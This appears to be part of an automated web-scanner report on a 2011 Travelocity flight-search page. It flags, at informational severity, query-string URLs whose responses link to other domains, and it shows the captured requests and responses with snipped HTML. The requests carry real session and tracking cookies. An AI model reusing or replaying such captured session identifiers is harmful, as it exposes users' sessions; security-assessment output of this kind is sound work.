Path:   /flights/InitialSearch.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /flights/InitialSearch.do?WA1=03010&WA2=223933409&WA3=47706889&WA4=0&WA5=1653085&WA6=72188 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617; __utma=1.543267917.1320962024.1320962024.1320962024.1; __utmb=1.1.10.1320962024; __utmc=1; __utmz=1.1320962024.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; IPE_S_TMP_910=910; mt.ti=%7B%22dest%22:%22MIA%22,%22tripDays%22:2%7D; mt.v=1.1040137567.1320962024293; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:55:17 GMT
Server: Apache
Set-Cookie: JSID=7DBBB7C12593080A1FBDEDEA5D5B7E9E.p0743; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 69611

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
</title>

<link rel="stylesheet" type="text/css" media="screen,all" href="http://i.travelpn.com.edgesuite.net/11.11/css/headfoot.css" id="cssheadfoot" />
<link rel="stylesheet" type="text/css" media="screen,all" href="http://i.travelpn.com.edgesuite.net/11.11/css/global.css" id="cssglobal" />
<link rel="stylesheet" type="text/css" media="screen,all" href="http://i.travelpn.com.edgesuite.net/11.11/css/tf.css" id="csspath" />
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/reset-min.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/headerfooter_v1.css" type="text/css"/>
<script src="/jsp/travelocity/common/scripts/Util.js" type="text/javascript" language="javascript">
...[SNIP]...
<body onload='on_load(0)' class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
<li><a onClick="feedback();return false;" href="http://travelpn.qualtrics.com/SE/?SID=SV_802MeVVezJbOvVW" title="Feedback" id="feedback">Feedback</a>
...[SNIP]...
<a href="http://www.travelocity.com/" title="Travelocity"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/travelocity-logo228x69.gif" name="HeaderLogoNew" border="0" alt="Travelocity Logo"></a>
...[SNIP]...
<a href="javascript:void(0);" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_HELP_PAGE_102,00.html','helpPopup', false, false, true, true, 500, 400 );"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMarkPageHelp" height="12" width="12" align="absmiddle" border="0" hspace="5" alt="Help with this page."></a>
...[SNIP]...
<div class="e_content"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/alert.gif" name="Alert" height="23" width="23" border="0" alt="Alert!"><h3>
...[SNIP]...
<div class="e_content"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/alert.gif" name="Alert" height="23" width="23" border="0" alt="Alert!"><h3>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC1','fromdateMC1','','tdfromcalMC1','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC2','fromdateMC2','','tdfromcalMC2','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC3','fromdateMC3','','tdfromcalMC3','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC4','fromdateMC4','','tdfromcalMC4','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|PKG_PURCHASE,00.html','flightplushotel',false,false,true,true,'500','400'); return false;">
<img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
"javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MULT_AIRPORTS,00.html','multiairports',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('fromdateexact','fromdateexact','','tdfromcalexact','idExactDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('todateexact','fromdateexact','todateexact','tdtocalexact','idExactDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('fromdateflex','fromdateflex','todateflex','tdfromcalflex','idPlusMinusDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
ef="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MULT_DATES,00.html','multipledates',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('todateflex','fromdateflex','todateflex','tdtocalflex','idPlusMinusDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
ef="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MULT_DATES,00.html','multipledates',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
<a href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_ALL_DATES,00.html','alldates',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarOW.openCalendar('fromdateOW','fromdateOW','fromdateOW','tdfromcalOW','oneWayForm','iframeCalOW','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MINORS_INFO,00.html','minorinfo',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_ABOUT_CABIN_CLASS,00.html','cabinclass',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
"javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_ABOUT_FARES_TYPES,00.html','faretypes',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
a href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_REST_AIRLINE,00.html','nonstop',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
a href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_REST_NONSTOP,00.html','nonstop',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
<li><a href="http://www.roaminggnomestore.com/" title="Gnome Store" rel="nofollow">Gnome Store</a>
...[SNIP]...
<li class="sprite-au_sm"><a href="http://www.zuji.com.au/site/travel/flights/" title="Australia">Australia</a></li>
<li class="sprite-ca_sm"><a href="http://www.travelocity.ca/ca/flights" title="Canada">Canada</a></li>
<li class="sprite-cl_sm"><a href="http://www.allhotels.cl/" title="Chile">Chile</a></li>
<li class="sprite-co_sm"><a href="http://www.allhotels.com.co/" title="Colombia">Colombia</a></li>
<li class="sprite-cr_sm"><a href="http://www.allhotels.co.cr/" title="Costa Rica">Costa Rica</a>
...[SNIP]...
<li class="sprite-dk_sm"><a href="http://www.rejsefeber.dk/dk/flight/" title="Denmark">Denmark</a></li>

<li class="sprite-ec_sm"><a href="http://www.allhotels.com.ec/" title="Ecuador">Ecuador</a></li>
<li class="sprite-fr_sm"><a href="http://www.fr.lastminute.com/site/voyages/billets-avion-vols/" title="France">France</a></li>
<li class="sprite-de_sm"><a href="http://www.lastminute.de/de_DE/lmn2/travel/flight/new.do" title="Germany">Germany</a></li>
<li class="sprite-hk_sm"><a href="http://www.zuji.com.hk/site/travel/flights/" title="Hong Kong">Hong Kong</a>
...[SNIP]...
<li class="sprite-ie_sm"><a href="http://www.lastminute.ie/site/travel/flights/" title="Ireland">Ireland</a></li>
<li class="sprite-it_sm"><a href="http://www.it.lastminute.com/site/viaggi/voli/" title="Italy">Italy</a></li>
<li class="sprite-kp_sm"><a href="http://www.nextour.co.kr/" title="Korea">Korea</a>
...[SNIP]...
<li class="sprite-no_sm"><a href="http://www.reisefeber.no/no/flight/" title="Norway">Norway</a></li>
<li class="sprite-py_sm"><a href="http://www.allhotels.com.py/" title="Paraguay">Paraguay</a></li>
<li class="sprite-pe_sm"><a href="http://www.allhotels.pe/" title="Peru">Peru</a></li>
<li class="sprite-sg_sm"><a href="http://www.zuji.com.sg/site/travel/flights/" title="Singapore">Singapore</a></li>
<li class="sprite-es_sm"><a href="http://www.es.lastminute.com/site/viajes/vuelos/" title="Spain">Spain</a></li>
<li class="sprite-se_sm"><a href="http://www.resfeber.se/se/flight/" title="Sweden">Sweden</a>
...[SNIP]...
<li class="sprite-uy_sm"><a href="http://www.allhotels.com.uy/" title="Uruguay">Uruguay</a></li>
<li class="sprite-ve_sm last"><a href="http://www.allhotels.co.ve/" title="Venezuela">Venezuela</a>
...[SNIP]...
<li class="first"><a href="http://www.allhotels.com/" title="All Hotels">All Hotels</a>
...[SNIP]...
<li><a href="http://www.holidayautos.co.uk/" title="holiday autos">holiday autos</a>
...[SNIP]...
<li><a href="http://www.igougo.com/" title="IgoUgo&reg;">IgoUgo&reg;</a>
...[SNIP]...
<li><a href="http://www.travelguru.com/" title="Travel Guru">Travel Guru</a>
...[SNIP]...
<li><a href="http://www.vacations.com/" title="Vacations.com">Vacations.com</a>
...[SNIP]...
<li><a href="http://www.windowseatblog.com/" title="Window Seat Blog">Window Seat Blog</a>
...[SNIP]...
<li><a href="http://www.worldchoicetravel.com/" title="World Choice Travel&reg;" rel="nofollow">World Choice Travel&reg;</a>
...[SNIP]...
<li class="last"><a href="http://www.zuji.com/" title="Zuji">Zuji</a>
...[SNIP]...
<li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=75787&p=irol-news&nyo=0" title="Press Releases">Press Releases</a>
...[SNIP]...
<li><a href="http://www.travelocitybusiness.com" title="Travelocity Business">Travelocity Business</a>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

11.3. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:31 GMT
Server: Apache
Set-Cookie: JSID=8FFF3EF3B63D0D4D8432E417447540AD.p0609; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
</title>

<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/reset-min.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/tvl_na.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/tvl_na_flight.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/headerfooter_v1.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/calendar_datepicker.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/flights-interstitial.css" type="text/css"/>
</head>

<body class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
<li><a onClick="feedback();return false;" href="http://travelpn.qualtrics.com/SE/?SID=SV_802MeVVezJbOvVW" title="Feedback" id="feedback">Feedback</a>
...[SNIP]...
<a href="http://www.travelocity.com/" title="Travelocity"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/travelocity-logo228x69.gif" name="HeaderLogoNew" border="0" alt="Travelocity Logo"></a>
...[SNIP]...
</head>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/jQuery-ui/1.8.2/jquery-ui-1.8.2.css" type="text/css"/>

<script type="text/javascript">
...[SNIP]...
<div class="logo"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/145x43-tcylogo.gif" name="Interstitial-Travelocity-Logo" border="0" alt="Travelocity"></div>
<div class="search-msg"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/interstitial-search-msg.gif" name="Interstitial-Search-Msg" border="0" alt="We're searching to find you the best fare"></div>
...[SNIP]...
<div class="loader"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/loading-animation-rust.gif" name="Interstitial-Loading-Animation" border="0"></div>
...[SNIP]...
<div id="loading-message" style="display:none; text-align:center; padding:100px 0px 130px 0px;">
    <img src="http://i.travelpn.com.edgesuite.net/images/i/homepage/wait.gif" alt="Loading" />
    <p>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<div class="view">
               <img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/icon-flightstats.gif" alt="Powered By Flight Stats" align="right" />
               <div class="clear">
...[SNIP]...
ow.open('http://leisure.travelocity.com/Promotions/0,,TRAVELOCITY%7C5353%7Cairfare_main,00.html','window_name','toolbar=no,status=no,scrollbars=yes,resizable=yes,width=800,height=350'); return false;"><img src="http://i.travelocity.com.edgesuite.net/Sponsor_gifs/100614_guarantee_air_v2_180x150.jpg"/></a>
...[SNIP]...
</div>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery/1.4.3/jquery-1.4.3.min.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery-ui/1.8.2/jquery-ui-1.8.2.custom.min.js" ></script>
...[SNIP]...
</script>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/vs-track.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/calendar_datepicker.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/endless-scroll.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/cookie.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery.blockUI.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-interstitial.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/templating.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/sorting.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/filter.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flight-cards.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-filter.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/navgrid.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery_tvly.comments.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jiffy.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-jiffy-log.js?r=924269110" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tvly-log.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-outbound.js?r=924269110" ></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/adserver.js?pubid=c3919e40-e5b8-49f8-b876-4fed1f31968f"></script>
<script type="text/javascript" charset="utf-8" src="http://www.google.com/adsense/search/ads.js"></script>
<script language="javascript" type="text/javascript" charset="utf-8" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-ads-loading.js?r=924269110" ></script>
...[SNIP]...
<li><a href="http://www.roaminggnomestore.com/" title="Gnome Store" rel="nofollow">Gnome Store</a>
...[SNIP]...
<li class="sprite-au_sm"><a href="http://www.zuji.com.au/site/travel/flights/" title="Australia">Australia</a></li>
<li class="sprite-ca_sm"><a href="http://www.travelocity.ca/ca/flights" title="Canada">Canada</a></li>
<li class="sprite-cl_sm"><a href="http://www.allhotels.cl/" title="Chile">Chile</a></li>
<li class="sprite-co_sm"><a href="http://www.allhotels.com.co/" title="Colombia">Colombia</a></li>
<li class="sprite-cr_sm"><a href="http://www.allhotels.co.cr/" title="Costa Rica">Costa Rica</a>
...[SNIP]...
<li class="sprite-dk_sm"><a href="http://www.rejsefeber.dk/dk/flight/" title="Denmark">Denmark</a></li>

<li class="sprite-ec_sm"><a href="http://www.allhotels.com.ec/" title="Ecuador">Ecuador</a></li>
<li class="sprite-fr_sm"><a href="http://www.fr.lastminute.com/site/voyages/billets-avion-vols/" title="France">France</a></li>
<li class="sprite-de_sm"><a href="http://www.lastminute.de/de_DE/lmn2/travel/flight/new.do" title="Germany">Germany</a></li>
<li class="sprite-hk_sm"><a href="http://www.zuji.com.hk/site/travel/flights/" title="Hong Kong">Hong Kong</a>
...[SNIP]...
<li class="sprite-ie_sm"><a href="http://www.lastminute.ie/site/travel/flights/" title="Ireland">Ireland</a></li>
<li class="sprite-it_sm"><a href="http://www.it.lastminute.com/site/viaggi/voli/" title="Italy">Italy</a></li>
<li class="sprite-kp_sm"><a href="http://www.nextour.co.kr/" title="Korea">Korea</a>
...[SNIP]...
<li class="sprite-no_sm"><a href="http://www.reisefeber.no/no/flight/" title="Norway">Norway</a></li>
<li class="sprite-py_sm"><a href="http://www.allhotels.com.py/" title="Paraguay">Paraguay</a></li>
<li class="sprite-pe_sm"><a href="http://www.allhotels.pe/" title="Peru">Peru</a></li>
<li class="sprite-sg_sm"><a href="http://www.zuji.com.sg/site/travel/flights/" title="Singapore">Singapore</a></li>
<li class="sprite-es_sm"><a href="http://www.es.lastminute.com/site/viajes/vuelos/" title="Spain">Spain</a></li>
<li class="sprite-se_sm"><a href="http://www.resfeber.se/se/flight/" title="Sweden">Sweden</a>
...[SNIP]...
<li class="sprite-uy_sm"><a href="http://www.allhotels.com.uy/" title="Uruguay">Uruguay</a></li>
<li class="sprite-ve_sm last"><a href="http://www.allhotels.co.ve/" title="Venezuela">Venezuela</a>
...[SNIP]...
<li class="first"><a href="http://www.allhotels.com/" title="All Hotels">All Hotels</a>
...[SNIP]...
<li><a href="http://www.holidayautos.co.uk/" title="holiday autos">holiday autos</a>
...[SNIP]...
<li><a href="http://www.igougo.com/" title="IgoUgo&reg;">IgoUgo&reg;</a>
...[SNIP]...
<li><a href="http://www.travelguru.com/" title="Travel Guru">Travel Guru</a>
...[SNIP]...
<li><a href="http://www.vacations.com/" title="Vacations.com">Vacations.com</a>
...[SNIP]...
<li><a href="http://www.windowseatblog.com/" title="Window Seat Blog">Window Seat Blog</a>
...[SNIP]...
<li><a href="http://www.worldchoicetravel.com/" title="World Choice Travel&reg;" rel="nofollow">World Choice Travel&reg;</a>
...[SNIP]...
<li class="last"><a href="http://www.zuji.com/" title="Zuji">Zuji</a>
...[SNIP]...
<li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=75787&p=irol-news&nyo=0" title="Press Releases">Press Releases</a>
...[SNIP]...
<li><a href="http://www.travelocitybusiness.com" title="Travelocity Business">Travelocity Business</a>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

11.4. http://travel.travelocity.com/flights/InitialSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; JSID=3BDAD8821C840729BC4E28B4A5184BA6.p0618; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; Service=TRAVELOCITY; SID=T000V00000X111110155329158039359453652; pcookie=n; mbox=check#true#1320962071|session#1320962010545-896769#1320963871

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:59 GMT
Server: Apache
Set-Cookie: JSID=E1C6FE19728366224E5846A11DB4E7EB.p0856; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 72682

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
</title>

